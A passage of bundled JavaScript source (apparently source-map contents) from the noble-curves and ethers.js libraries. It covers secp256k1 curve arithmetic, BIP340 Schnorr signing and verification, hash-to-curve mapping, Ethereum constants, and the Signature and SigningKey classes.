tv1^c1\n y1 = Fp.mul(y1, tv2); // 5. y1 = y1 * tv2\n const y2 = Fp.mul(y1, c2); // 6. y2 = y1 * c2\n const tv3 = Fp.mul(Fp.sqr(y1), v); // 7. tv3 = y1^2; 8. tv3 = tv3 * v\n const isQR = Fp.eql(tv3, u); // 9. isQR = tv3 == u\n let y = Fp.cmov(y2, y1, isQR); // 10. y = CMOV(y2, y1, isQR)\n return { isValid: isQR, value: y }; // 11. return (isQR, y) isQR ? y : y*c2\n };\n }\n // No curves uses that\n // if (Fp.ORDER % _8n === _5n) // sqrt_ratio_5mod8\n return sqrtRatio;\n}\n/**\n * Simplified Shallue-van de Woestijne-Ulas Method\n * https://www.rfc-editor.org/rfc/rfc9380#section-6.6.2\n */\nexport function mapToCurveSimpleSWU(Fp, opts) {\n mod.validateField(Fp);\n if (!Fp.isValid(opts.A) || !Fp.isValid(opts.B) || !Fp.isValid(opts.Z))\n throw new Error('mapToCurveSimpleSWU: invalid opts');\n const sqrtRatio = SWUFpSqrtRatio(Fp, opts.Z);\n if (!Fp.isOdd)\n throw new Error('Fp.isOdd is not implemented!');\n // Input: u, an element of F.\n // Output: (x, y), a point on E.\n return (u) => {\n // prettier-ignore\n let tv1, tv2, tv3, tv4, tv5, tv6, x, y;\n tv1 = Fp.sqr(u); // 1. tv1 = u^2\n tv1 = Fp.mul(tv1, opts.Z); // 2. tv1 = Z * tv1\n tv2 = Fp.sqr(tv1); // 3. tv2 = tv1^2\n tv2 = Fp.add(tv2, tv1); // 4. tv2 = tv2 + tv1\n tv3 = Fp.add(tv2, Fp.ONE); // 5. tv3 = tv2 + 1\n tv3 = Fp.mul(tv3, opts.B); // 6. tv3 = B * tv3\n tv4 = Fp.cmov(opts.Z, Fp.neg(tv2), !Fp.eql(tv2, Fp.ZERO)); // 7. tv4 = CMOV(Z, -tv2, tv2 != 0)\n tv4 = Fp.mul(tv4, opts.A); // 8. tv4 = A * tv4\n tv2 = Fp.sqr(tv3); // 9. tv2 = tv3^2\n tv6 = Fp.sqr(tv4); // 10. tv6 = tv4^2\n tv5 = Fp.mul(tv6, opts.A); // 11. tv5 = A * tv6\n tv2 = Fp.add(tv2, tv5); // 12. tv2 = tv2 + tv5\n tv2 = Fp.mul(tv2, tv3); // 13. tv2 = tv2 * tv3\n tv6 = Fp.mul(tv6, tv4); // 14. tv6 = tv6 * tv4\n tv5 = Fp.mul(tv6, opts.B); // 15. tv5 = B * tv6\n tv2 = Fp.add(tv2, tv5); // 16. tv2 = tv2 + tv5\n x = Fp.mul(tv1, tv3); // 17. x = tv1 * tv3\n const { isValid, value } = sqrtRatio(tv2, tv6); // 18. (is_gx1_square, y1) = sqrt_ratio(tv2, tv6)\n y = Fp.mul(tv1, u); // 19. y = tv1 * u -> Z * u^3 * y1\n y = Fp.mul(y, value); // 20. y = y * y1\n x = Fp.cmov(x, tv3, isValid); // 21. x = CMOV(x, tv3, is_gx1_square)\n y = Fp.cmov(y, value, isValid); // 22. y = CMOV(y, y1, is_gx1_square)\n const e1 = Fp.isOdd(u) === Fp.isOdd(y); // 23. e1 = sgn0(u) == sgn0(y)\n y = Fp.cmov(Fp.neg(y), y, e1); // 24. y = CMOV(-y, y, e1)\n x = Fp.div(x, tv4); // 25. x = x / tv4\n return { x, y };\n };\n}\n//# sourceMappingURL=weierstrass.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\nimport { hmac } from '@noble/hashes/hmac';\nimport { concatBytes, randomBytes } from '@noble/hashes/utils';\nimport { weierstrass } from './abstract/weierstrass.js';\n// connects noble-curves to noble-hashes\nexport function getHash(hash) {\n return {\n hash,\n hmac: (key, ...msgs) => hmac(hash, key, concatBytes(...msgs)),\n randomBytes,\n };\n}\nexport function createCurve(curveDef, defHash) {\n const create = (hash) => weierstrass({ ...curveDef, ...getHash(hash) });\n return Object.freeze({ ...create(defHash), create });\n}\n//# sourceMappingURL=_shortw_utils.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\nimport { sha256 } from '@noble/hashes/sha256';\nimport { randomBytes } from '@noble/hashes/utils';\nimport { Field, mod, pow2 } from './abstract/modular.js';\nimport { mapToCurveSimpleSWU } from './abstract/weierstrass.js';\nimport { bytesToNumberBE, concatBytes, ensureBytes, numberToBytesBE } from './abstract/utils.js';\nimport { createHasher, isogenyMap } from './abstract/hash-to-curve.js';\nimport { createCurve } from './_shortw_utils.js';\nconst secp256k1P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f');\nconst secp256k1N = BigInt('0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141');\nconst _1n = BigInt(1);\nconst _2n = BigInt(2);\nconst divNearest = (a, b) => (a + b / _2n) / b;\n/**\n * √n = n^((p+1)/4) for fields p = 3 mod 4. We unwrap the loop and multiply bit-by-bit.\n * (P+1n/4n).toString(2) would produce bits [223x 1, 0, 22x 1, 4x 0, 11, 00]\n */\nfunction sqrtMod(y) {\n const P = secp256k1P;\n // prettier-ignore\n const _3n = BigInt(3), _6n = BigInt(6), _11n = BigInt(11), _22n = BigInt(22);\n // prettier-ignore\n const _23n = BigInt(23), _44n = BigInt(44), _88n = BigInt(88);\n const b2 = (y * y * y) % P; // x^3, 11\n const b3 = (b2 * b2 * y) % P; // x^7\n const b6 = (pow2(b3, _3n, P) * b3) % P;\n const b9 = (pow2(b6, _3n, P) * b3) % P;\n const b11 = (pow2(b9, _2n, P) * b2) % P;\n const b22 = (pow2(b11, _11n, P) * b11) % P;\n const b44 = (pow2(b22, _22n, P) * b22) % P;\n const b88 = (pow2(b44, _44n, P) * b44) % P;\n const b176 = (pow2(b88, _88n, P) * b88) % P;\n const b220 = (pow2(b176, _44n, P) * b44) % P;\n const b223 = (pow2(b220, _3n, P) * b3) % P;\n const t1 = (pow2(b223, _23n, P) * b22) % P;\n const t2 = (pow2(t1, _6n, P) * b2) % P;\n const root = pow2(t2, _2n, P);\n if (!Fp.eql(Fp.sqr(root), y))\n throw new Error('Cannot find square root');\n return root;\n}\nconst Fp = Field(secp256k1P, undefined, undefined, { sqrt: sqrtMod });\nexport const secp256k1 = createCurve({\n a: BigInt(0),\n b: BigInt(7),\n Fp,\n n: secp256k1N,\n // Base point (x, y) aka generator point\n Gx: BigInt('55066263022277343669578718895168534326250603453777594175500187360389116729240'),\n Gy: BigInt('32670510020758816978083085130507043184471273380659243275938904335757337482424'),\n h: BigInt(1),\n lowS: true,\n /**\n * secp256k1 belongs to Koblitz curves: it has efficiently computable endomorphism.\n * Endomorphism uses 2x less RAM, speeds up precomputation by 2x and ECDH / key recovery by 20%.\n * For precomputed wNAF it trades off 1/2 init time & 1/3 ram for 20% perf hit.\n * Explanation: https://gist.github.com/paulmillr/eb670806793e84df628a7c434a873066\n */\n endo: {\n beta: BigInt('0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee'),\n splitScalar: (k) => {\n const n = secp256k1N;\n const a1 = BigInt('0x3086d221a7d46bcde86c90e49284eb15');\n const b1 = -_1n * BigInt('0xe4437ed6010e88286f547fa90abfe4c3');\n const a2 = BigInt('0x114ca50f7a8e2f3f657c1108d9d44cfd8');\n const b2 = a1;\n const POW_2_128 = BigInt('0x100000000000000000000000000000000'); // (2n**128n).toString(16)\n const c1 = divNearest(b2 * k, n);\n const c2 = divNearest(-b1 * k, n);\n let k1 = mod(k - c1 * a1 - c2 * a2, n);\n let k2 = mod(-c1 * b1 - c2 * b2, n);\n const k1neg = k1 > POW_2_128;\n const k2neg = k2 > POW_2_128;\n if (k1neg)\n k1 = n - k1;\n if (k2neg)\n k2 = n - k2;\n if (k1 > POW_2_128 || k2 > POW_2_128) {\n throw new Error('splitScalar: Endomorphism failed, k=' + k);\n }\n return { k1neg, k1, k2neg, k2 };\n },\n },\n}, sha256);\n// Schnorr signatures are superior to ECDSA from above. Below is Schnorr-specific BIP0340 code.\n// https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki\nconst _0n = BigInt(0);\nconst fe = (x) => typeof x === 'bigint' && _0n < x && x < secp256k1P;\nconst ge = (x) => typeof x === 'bigint' && _0n < x && x < secp256k1N;\n/** An object mapping tags to their tagged hash prefix of [SHA256(tag) | SHA256(tag)] */\nconst TAGGED_HASH_PREFIXES = {};\nfunction taggedHash(tag, ...messages) {\n let tagP = TAGGED_HASH_PREFIXES[tag];\n if (tagP === undefined) {\n const tagH = sha256(Uint8Array.from(tag, (c) => c.charCodeAt(0)));\n tagP = concatBytes(tagH, tagH);\n TAGGED_HASH_PREFIXES[tag] = tagP;\n }\n return sha256(concatBytes(tagP, ...messages));\n}\n// ECDSA compact points are 33-byte. Schnorr is 32: we strip first byte 0x02 or 0x03\nconst pointToBytes = (point) => point.toRawBytes(true).slice(1);\nconst numTo32b = (n) => numberToBytesBE(n, 32);\nconst modP = (x) => mod(x, secp256k1P);\nconst modN = (x) => mod(x, secp256k1N);\nconst Point = secp256k1.ProjectivePoint;\nconst GmulAdd = (Q, a, b) => Point.BASE.multiplyAndAddUnsafe(Q, a, b);\n// Calculate point, scalar and bytes\nfunction schnorrGetExtPubKey(priv) {\n let d_ = secp256k1.utils.normPrivateKeyToScalar(priv); // same method executed in fromPrivateKey\n let p = Point.fromPrivateKey(d_); // P = d'⋅G; 0 < d' < n check is done inside\n const scalar = p.hasEvenY() ? d_ : modN(-d_);\n return { scalar: scalar, bytes: pointToBytes(p) };\n}\n/**\n * lift_x from BIP340. Convert 32-byte x coordinate to elliptic curve point.\n * @returns valid point checked for being on-curve\n */\nfunction lift_x(x) {\n if (!fe(x))\n throw new Error('bad x: need 0 < x < p'); // Fail if x ≥ p.\n const xx = modP(x * x);\n const c = modP(xx * x + BigInt(7)); // Let c = x³ + 7 mod p.\n let y = sqrtMod(c); // Let y = c^(p+1)/4 mod p.\n if (y % _2n !== _0n)\n y = modP(-y); // Return the unique point P such that x(P) = x and\n const p = new Point(x, y, _1n); // y(P) = y if y mod 2 = 0 or y(P) = p-y otherwise.\n p.assertValidity();\n return p;\n}\n/**\n * Create tagged hash, convert it to bigint, reduce modulo-n.\n */\nfunction challenge(...args) {\n return modN(bytesToNumberBE(taggedHash('BIP0340/challenge', ...args)));\n}\n/**\n * Schnorr public key is just `x` coordinate of Point as per BIP340.\n */\nfunction schnorrGetPublicKey(privateKey) {\n return schnorrGetExtPubKey(privateKey).bytes; // d'=int(sk). Fail if d'=0 or d'≥n. Ret bytes(d'⋅G)\n}\n/**\n * Creates Schnorr signature as per BIP340. Verifies itself before returning anything.\n * auxRand is optional and is not the sole source of k generation: bad CSPRNG won't be dangerous.\n */\nfunction schnorrSign(message, privateKey, auxRand = randomBytes(32)) {\n const m = ensureBytes('message', message);\n const { bytes: px, scalar: d } = schnorrGetExtPubKey(privateKey); // checks for isWithinCurveOrder\n const a = ensureBytes('auxRand', auxRand, 32); // Auxiliary random data a: a 32-byte array\n const t = numTo32b(d ^ bytesToNumberBE(taggedHash('BIP0340/aux', a))); // Let t be the byte-wise xor of bytes(d) and hash/aux(a)\n const rand = taggedHash('BIP0340/nonce', t, px, m); // Let rand = hash/nonce(t || bytes(P) || m)\n const k_ = modN(bytesToNumberBE(rand)); // Let k' = int(rand) mod n\n if (k_ === _0n)\n throw new Error('sign failed: k is zero'); // Fail if k' = 0.\n const { bytes: rx, scalar: k } = schnorrGetExtPubKey(k_); // Let R = k'⋅G.\n const e = challenge(rx, px, m); // Let e = int(hash/challenge(bytes(R) || bytes(P) || m)) mod n.\n const sig = new Uint8Array(64); // Let sig = bytes(R) || bytes((k + ed) mod n).\n sig.set(rx, 0);\n sig.set(numTo32b(modN(k + e * d)), 32);\n // If Verify(bytes(P), m, sig) (see below) returns failure, abort\n if (!schnorrVerify(sig, m, px))\n throw new Error('sign: Invalid signature produced');\n return sig;\n}\n/**\n * Verifies Schnorr signature.\n * Will swallow errors & return false except for initial type validation of arguments.\n */\nfunction schnorrVerify(signature, message, publicKey) {\n const sig = ensureBytes('signature', signature, 64);\n const m = ensureBytes('message', message);\n const pub = ensureBytes('publicKey', publicKey, 32);\n try {\n const P = lift_x(bytesToNumberBE(pub)); // P = lift_x(int(pk)); fail if that fails\n const r = bytesToNumberBE(sig.subarray(0, 32)); // Let r = int(sig[0:32]); fail if r ≥ p.\n if (!fe(r))\n return false;\n const s = bytesToNumberBE(sig.subarray(32, 64)); // Let s = int(sig[32:64]); fail if s ≥ n.\n if (!ge(s))\n return false;\n const e = challenge(numTo32b(r), pointToBytes(P), m); // int(challenge(bytes(r)||bytes(P)||m))%n\n const R = GmulAdd(P, s, modN(-e)); // R = s⋅G - e⋅P\n if (!R || !R.hasEvenY() || R.toAffine().x !== r)\n return false; // -eP == (n-e)P\n return true; // Fail if is_infinite(R) / not has_even_y(R) / x(R) ≠ r.\n }\n catch (error) {\n return false;\n }\n}\nexport const schnorr = /* @__PURE__ */ (() => ({\n getPublicKey: schnorrGetPublicKey,\n sign: schnorrSign,\n verify: schnorrVerify,\n utils: {\n randomPrivateKey: secp256k1.utils.randomPrivateKey,\n lift_x,\n pointToBytes,\n numberToBytesBE,\n bytesToNumberBE,\n taggedHash,\n mod,\n },\n}))();\nconst isoMap = /* @__PURE__ */ (() => isogenyMap(Fp, [\n // xNum\n [\n '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa8c7',\n '0x7d3d4c80bc321d5b9f315cea7fd44c5d595d2fc0bf63b92dfff1044f17c6581',\n '0x534c328d23f234e6e2a413deca25caece4506144037c40314ecbd0b53d9dd262',\n '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa88c',\n ],\n // xDen\n [\n '0xd35771193d94918a9ca34ccbb7b640dd86cd409542f8487d9fe6b745781eb49b',\n '0xedadc6f64383dc1df7c4b2d51b54225406d36b641f5e41bbc52a56612a8c6d14',\n '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1\n ],\n // yNum\n [\n '0x4bda12f684bda12f684bda12f684bda12f684bda12f684bda12f684b8e38e23c',\n '0xc75e0c32d5cb7c0fa9d0a54b12a0a6d5647ab046d686da6fdffc90fc201d71a3',\n '0x29a6194691f91a73715209ef6512e576722830a201be2018a765e85a9ecee931',\n '0x2f684bda12f684bda12f684bda12f684bda12f684bda12f684bda12f38e38d84',\n ],\n // yDen\n [\n '0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffff93b',\n '0x7a06534bb8bdb49fd5e9e6632722c2989467c1bfc8e8d978dfb425d2685c2573',\n '0x6484aa716545ca2cf3a70c3fa8fe337e0a3d21162f0d6299a7bf8192bfd2a76f',\n '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1\n ],\n].map((i) => i.map((j) => BigInt(j)))))();\nconst mapSWU = /* @__PURE__ */ (() => mapToCurveSimpleSWU(Fp, {\n A: BigInt('0x3f8731abdd661adca08a5558f0f5d272e953d363cb6f0e5d405447c01a444533'),\n B: BigInt('1771'),\n Z: Fp.create(BigInt('-11')),\n}))();\nconst htf = /* @__PURE__ */ (() => createHasher(secp256k1.ProjectivePoint, (scalars) => {\n const { x, y } = mapSWU(Fp.create(scalars[0]));\n return isoMap(x, y);\n}, {\n DST: 'secp256k1_XMD:SHA-256_SSWU_RO_',\n encodeDST: 'secp256k1_XMD:SHA-256_SSWU_NU_',\n p: Fp.ORDER,\n m: 1,\n k: 128,\n expand: 'xmd',\n hash: sha256,\n}))();\nexport const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)();\nexport const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)();\n//# sourceMappingURL=secp256k1.js.map","/**\n * A constant for the zero address.\n *\n * (**i.e.** ``\"0x0000000000000000000000000000000000000000\"``)\n */\nexport const ZeroAddress = \"0x0000000000000000000000000000000000000000\";\n//# sourceMappingURL=addresses.js.map","/**\n * A constant for the zero hash.\n *\n * (**i.e.** ``\"0x0000000000000000000000000000000000000000000000000000000000000000\"``)\n */\nexport const ZeroHash = \"0x0000000000000000000000000000000000000000000000000000000000000000\";\n//# sourceMappingURL=hashes.js.map","/**\n * A constant for the order N for the secp256k1 curve.\n *\n * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``)\n */\nexport const N = BigInt(\"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\");\n/**\n * A constant for the number of wei in a single ether.\n *\n * (**i.e.** ``1000000000000000000n``)\n */\nexport const WeiPerEther = BigInt(\"1000000000000000000\");\n/**\n * A constant for the maximum value for a ``uint256``.\n *\n * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``)\n */\nexport const MaxUint256 = BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n/**\n * A constant for the minimum value for an ``int256``.\n *\n * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``)\n */\nexport const MinInt256 = BigInt(\"0x8000000000000000000000000000000000000000000000000000000000000000\") * BigInt(-1);\n/**\n * A constant for the maximum value for an ``int256``.\n *\n * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``)\n */\nexport const MaxInt256 = BigInt(\"0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n//# sourceMappingURL=numbers.js.map","// NFKC (composed) // (decomposed)\n/**\n * A constant for the ether symbol (normalized using NFKC).\n *\n * (**i.e.** ``\"\\\\u039e\"``)\n */\nexport const EtherSymbol = \"\\u039e\"; // \"\\uD835\\uDF63\";\n/**\n * A constant for the [[link-eip-191]] personal message prefix.\n *\n * (**i.e.** ``\"\\\\x19Ethereum Signed Message:\\\\n\"``)\n */\nexport const MessagePrefix = \"\\x19Ethereum Signed Message:\\n\";\n//# sourceMappingURL=strings.js.map","import { ZeroHash } from \"../constants/index.js\";\nimport { concat, dataLength, getBigInt, getBytes, getNumber, hexlify, toBeArray, isHexString, zeroPadValue, assertArgument, assertPrivate } from \"../utils/index.js\";\n// Constants\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\nconst BN_2 = BigInt(2);\nconst BN_27 = BigInt(27);\nconst BN_28 = BigInt(28);\nconst BN_35 = BigInt(35);\nconst _guard = {};\nfunction toUint256(value) {\n return zeroPadValue(toBeArray(value), 32);\n}\n/**\n * A Signature @TODO\n *\n *\n * @_docloc: api/crypto:Signing\n */\nexport class Signature {\n #r;\n #s;\n #v;\n #networkV;\n /**\n * The ``r`` value for a signature.\n *\n * This represents the ``x`` coordinate of a \"reference\" or\n * challenge point, from which the ``y`` can be computed.\n */\n get r() { return this.#r; }\n set r(value) {\n assertArgument(dataLength(value) === 32, \"invalid r\", \"value\", value);\n this.#r = hexlify(value);\n }\n /**\n * The ``s`` value for a signature.\n */\n get s() {\n assertArgument(parseInt(this.#s.substring(0, 3)) < 8, \"non-canonical s; use ._s\", \"s\", this.#s);\n return this.#s;\n }\n set s(_value) {\n assertArgument(dataLength(_value) === 32, \"invalid s\", \"value\", _value);\n this.#s = hexlify(_value);\n }\n /**\n * Return the s value, unchecked for EIP-2 compliance.\n *\n * This should generally not be used and is for situations where\n * a non-canonical S value might be relevant, such as Frontier blocks\n * that were mined prior to EIP-2 or invalid Authorization List\n * signatures.\n */\n get _s() { return this.#s; }\n /**\n * Returns true if the Signature is valid for [[link-eip-2]] signatures.\n */\n isValid() {\n return (parseInt(this.#s.substring(0, 3)) < 8);\n }\n /**\n * The ``v`` value for a signature.\n *\n * Since a given ``x`` value for ``r`` has two possible values for\n * its correspondin ``y``, the ``v`` indicates which of the two ``y``\n * values to use.\n *\n * It is normalized to the values ``27`` or ``28`` for legacy\n * purposes.\n */\n get v() { return this.#v; }\n set v(value) {\n const v = getNumber(value, \"value\");\n assertArgument(v === 27 || v === 28, \"invalid v\", \"v\", value);\n this.#v = v;\n }\n /**\n * The EIP-155 ``v`` for legacy transactions. For non-legacy\n * transactions, this value is ``null``.\n */\n get networkV() { return this.#networkV; }\n /**\n * The chain ID for EIP-155 legacy transactions. For non-legacy\n * transactions, this value is ``null``.\n */\n get legacyChainId() {\n const v = this.networkV;\n if (v == null) {\n return null;\n }\n return Signature.getChainId(v);\n }\n /**\n * The ``yParity`` for the signature.\n *\n * See ``v`` for more details on how this value is used.\n */\n get yParity() {\n return (this.v === 27) ? 0 : 1;\n }\n /**\n * The [[link-eip-2098]] compact representation of the ``yParity``\n * and ``s`` compacted into a single ``bytes32``.\n */\n get yParityAndS() {\n // The EIP-2098 compact representation\n const yParityAndS = getBytes(this.s);\n if (this.yParity) {\n yParityAndS[0] |= 0x80;\n }\n return hexlify(yParityAndS);\n }\n /**\n * The [[link-eip-2098]] compact representation.\n */\n get compactSerialized() {\n return concat([this.r, this.yParityAndS]);\n }\n /**\n * The serialized representation.\n */\n get serialized() {\n return concat([this.r, this.s, (this.yParity ? \"0x1c\" : \"0x1b\")]);\n }\n /**\n * @private\n */\n constructor(guard, r, s, v) {\n assertPrivate(guard, _guard, \"Signature\");\n this.#r = r;\n this.#s = s;\n this.#v = v;\n this.#networkV = null;\n }\n [Symbol.for('nodejs.util.inspect.custom')]() {\n return `Signature { r: \"${this.r}\", s: \"${this._s}\"${this.isValid() ? \"\" : ', valid: \"false\"'}, yParity: ${this.yParity}, networkV: ${this.networkV} }`;\n }\n /**\n * Returns a new identical [[Signature]].\n */\n clone() {\n const clone = new Signature(_guard, this.r, this._s, this.v);\n if (this.networkV) {\n clone.#networkV = this.networkV;\n }\n return clone;\n }\n /**\n * Returns a representation that is compatible with ``JSON.stringify``.\n */\n toJSON() {\n const networkV = this.networkV;\n return {\n _type: \"signature\",\n networkV: ((networkV != null) ? networkV.toString() : null),\n r: this.r, s: this._s, v: this.v,\n };\n }\n /**\n * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions.\n *\n * @example:\n * Signature.getChainId(45)\n * //_result:\n *\n * Signature.getChainId(46)\n * //_result:\n */\n static getChainId(v) {\n const bv = getBigInt(v, \"v\");\n // The v is not an EIP-155 v, so it is the unspecified chain ID\n if ((bv == BN_27) || (bv == BN_28)) {\n return BN_0;\n }\n // Bad value for an EIP-155 v\n assertArgument(bv >= BN_35, \"invalid EIP-155 v\", \"v\", v);\n return (bv - BN_35) / BN_2;\n }\n /**\n * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions.\n *\n * Legacy transactions which use [[link-eip-155]] hijack the ``v``\n * property to include the chain ID.\n *\n * @example:\n * Signature.getChainIdV(5, 27)\n * //_result:\n *\n * Signature.getChainIdV(5, 28)\n * //_result:\n *\n */\n static getChainIdV(chainId, v) {\n return (getBigInt(chainId) * BN_2) + BigInt(35 + v - 27);\n }\n /**\n * Compute the normalized legacy transaction ``v`` from a ``yParirty``,\n * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction.\n *\n * @example:\n * // The values 0 and 1 imply v is actually yParity\n * Signature.getNormalizedV(0)\n * //_result:\n *\n * // Legacy non-EIP-1559 transaction (i.e. 27 or 28)\n * Signature.getNormalizedV(27)\n * //_result:\n *\n * // Legacy EIP-155 transaction (i.e. >= 35)\n * Signature.getNormalizedV(46)\n * //_result:\n *\n * // Invalid values throw\n * Signature.getNormalizedV(5)\n * //_error:\n */\n static getNormalizedV(v) {\n const bv = getBigInt(v);\n if (bv === BN_0 || bv === BN_27) {\n return 27;\n }\n if (bv === BN_1 || bv === BN_28) {\n return 28;\n }\n assertArgument(bv >= BN_35, \"invalid v\", \"v\", v);\n // Otherwise, EIP-155 v means odd is 27 and even is 28\n return (bv & BN_1) ? 27 : 28;\n }\n /**\n * Creates a new [[Signature]].\n *\n * If no %%sig%% is provided, a new [[Signature]] is created\n * with default values.\n *\n * If %%sig%% is a string, it is parsed.\n */\n static from(sig) {\n function assertError(check, message) {\n assertArgument(check, message, \"signature\", sig);\n }\n ;\n if (sig == null) {\n return new Signature(_guard, ZeroHash, ZeroHash, 27);\n }\n if (typeof (sig) === \"string\") {\n const bytes = getBytes(sig, \"signature\");\n if (bytes.length === 64) {\n const r = hexlify(bytes.slice(0, 32));\n const s = bytes.slice(32, 64);\n const v = (s[0] & 0x80) ? 28 : 27;\n s[0] &= 0x7f;\n return new Signature(_guard, r, hexlify(s), v);\n }\n if (bytes.length === 65) {\n const r = hexlify(bytes.slice(0, 32));\n const s = hexlify(bytes.slice(32, 64));\n const v = Signature.getNormalizedV(bytes[64]);\n return new Signature(_guard, r, s, v);\n }\n assertError(false, \"invalid raw signature length\");\n }\n if (sig instanceof Signature) {\n return sig.clone();\n }\n // Get r\n const _r = sig.r;\n assertError(_r != null, \"missing r\");\n const r = toUint256(_r);\n // Get s; by any means necessary (we check consistency below)\n const s = (function (s, yParityAndS) {\n if (s != null) {\n return toUint256(s);\n }\n if (yParityAndS != null) {\n assertError(isHexString(yParityAndS, 32), \"invalid yParityAndS\");\n const bytes = getBytes(yParityAndS);\n bytes[0] &= 0x7f;\n return hexlify(bytes);\n }\n assertError(false, \"missing s\");\n })(sig.s, sig.yParityAndS);\n // Get v; by any means necessary (we check consistency below)\n const { networkV, v } = (function (_v, yParityAndS, yParity) {\n if (_v != null) {\n const v = getBigInt(_v);\n return {\n networkV: ((v >= BN_35) ? v : undefined),\n v: Signature.getNormalizedV(v)\n };\n }\n if (yParityAndS != null) {\n assertError(isHexString(yParityAndS, 32), \"invalid yParityAndS\");\n return { v: ((getBytes(yParityAndS)[0] & 0x80) ? 28 : 27) };\n }\n if (yParity != null) {\n switch (getNumber(yParity, \"sig.yParity\")) {\n case 0: return { v: 27 };\n case 1: return { v: 28 };\n }\n assertError(false, \"invalid yParity\");\n }\n assertError(false, \"missing v\");\n })(sig.v, sig.yParityAndS, sig.yParity);\n const result = new Signature(_guard, r, s, v);\n if (networkV) {\n result.#networkV = networkV;\n }\n // If multiple of v, yParity, yParityAndS we given, check they match\n assertError(sig.yParity == null || getNumber(sig.yParity, \"sig.yParity\") === result.yParity, \"yParity mismatch\");\n assertError(sig.yParityAndS == null || sig.yParityAndS === result.yParityAndS, \"yParityAndS mismatch\");\n return result;\n }\n}\n//# sourceMappingURL=signature.js.map","/**\n * Add details about signing here.\n *\n * @_subsection: api/crypto:Signing [about-signing]\n */\nimport { secp256k1 } from \"@noble/curves/secp256k1\";\nimport { concat, dataLength, getBytes, getBytesCopy, hexlify, toBeHex, assertArgument } from \"../utils/index.js\";\nimport { Signature } from \"./signature.js\";\n/**\n * A **SigningKey** provides high-level access to the elliptic curve\n * cryptography (ECC) operations and key management.\n */\nexport class SigningKey {\n #privateKey;\n /**\n * Creates a new **SigningKey** for %%privateKey%%.\n */\n constructor(privateKey) {\n assertArgument(dataLength(privateKey) === 32, \"invalid private key\", \"privateKey\", \"[REDACTED]\");\n this.#privateKey = hexlify(privateKey);\n }\n /**\n * The private key.\n */\n get privateKey() { return this.#privateKey; }\n /**\n * The uncompressed public key.\n *\n * This will always begin with the prefix ``0x04`` and be 132\n * characters long (the ``0x`` prefix and 130 hexadecimal nibbles).\n */\n get publicKey() { return SigningKey.computePublicKey(this.#privateKey); }\n /**\n * The compressed public key.\n *\n * This will always begin with either the prefix ``0x02`` or ``0x03``\n * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal\n * nibbles)\n */\n get compressedPublicKey() { return SigningKey.computePublicKey(this.#privateKey, true); }\n /**\n * Return the signature of the signed %%digest%%.\n */\n sign(digest) {\n assertArgument(dataLength(digest) === 32, \"invalid digest length\", \"digest\", digest);\n const sig = secp256k1.sign(getBytesCopy(digest), getBytesCopy(this.#privateKey), {\n lowS: true\n });\n return Signature.from({\n r: toBeHex(sig.r, 32),\n s: toBeHex(sig.s, 32),\n v: (sig.recovery ? 0x1c : 0x1b)\n });\n }\n /**\n * Returns the [[link-wiki-ecdh]] shared secret between this\n * private key and the %%other%% key.\n *\n * The %%other%% key may be any type of key, a raw public key,\n * a compressed/uncompressed pubic key or aprivate key.\n *\n * Best practice is usually to use a cryptographic hash on the\n * returned value before using it as a symetric secret.\n *\n * @example:\n * sign1 = new SigningKey(id(\"some-secret-1\"))\n * sign2 = new SigningKey(id(\"some-secret-2\"))\n *\n * // Notice that privA.computeSharedSecret(pubB)...\n * sign1.computeSharedSecret(sign2.publicKey)\n * //_result:\n *\n * // ...is equal to privB.computeSharedSecret(pubA).\n * sign2.computeSharedSecret(sign1.publicKey)\n * //_result:\n */\n computeSharedSecret(other) {\n const pubKey = SigningKey.computePublicKey(other);\n return hexlify(secp256k1.getSharedSecret(getBytesCopy(this.#privateKey), getBytes(pubKey), false));\n }\n /**\n * Compute the public key for %%key%%, optionally %%compressed%%.\n *\n * The %%key%% may be any type of key, a raw public key, a\n * compressed/uncompressed public key or private key.\n *\n * @example:\n * sign = new SigningKey(id(\"some-secret\"));\n *\n * // Compute the uncompressed public key for a private key\n * SigningKey.computePublicKey(sign.privateKey)\n * //_result:\n *\n * // Compute the compressed public key for a private key\n * SigningKey.computePublicKey(sign.privateKey, true)\n * //_result:\n *\n * // Compute the uncompressed public key\n * SigningKey.computePublicKey(sign.publicKey, false);\n * //_result:\n *\n * // Compute the Compressed a public key\n * SigningKey.computePublicKey(sign.publicKey, true);\n * //_result:\n */\n static computePublicKey(key, compressed) {\n let bytes = getBytes(key, \"key\");\n // private key\n if (bytes.length === 32) {\n const pubKey = secp256k1.getPublicKey(bytes, !!compressed);\n return hexlify(pubKey);\n }\n // raw public key; use uncompressed key with 0x04 prefix\n if (bytes.length === 64) {\n const pub = new Uint8Array(65);\n pub[0] = 0x04;\n pub.set(bytes, 1);\n bytes = pub;\n }\n const point = secp256k1.ProjectivePoint.fromHex(bytes);\n return hexlify(point.toRawBytes(compressed));\n }\n /**\n * Returns the public key for the 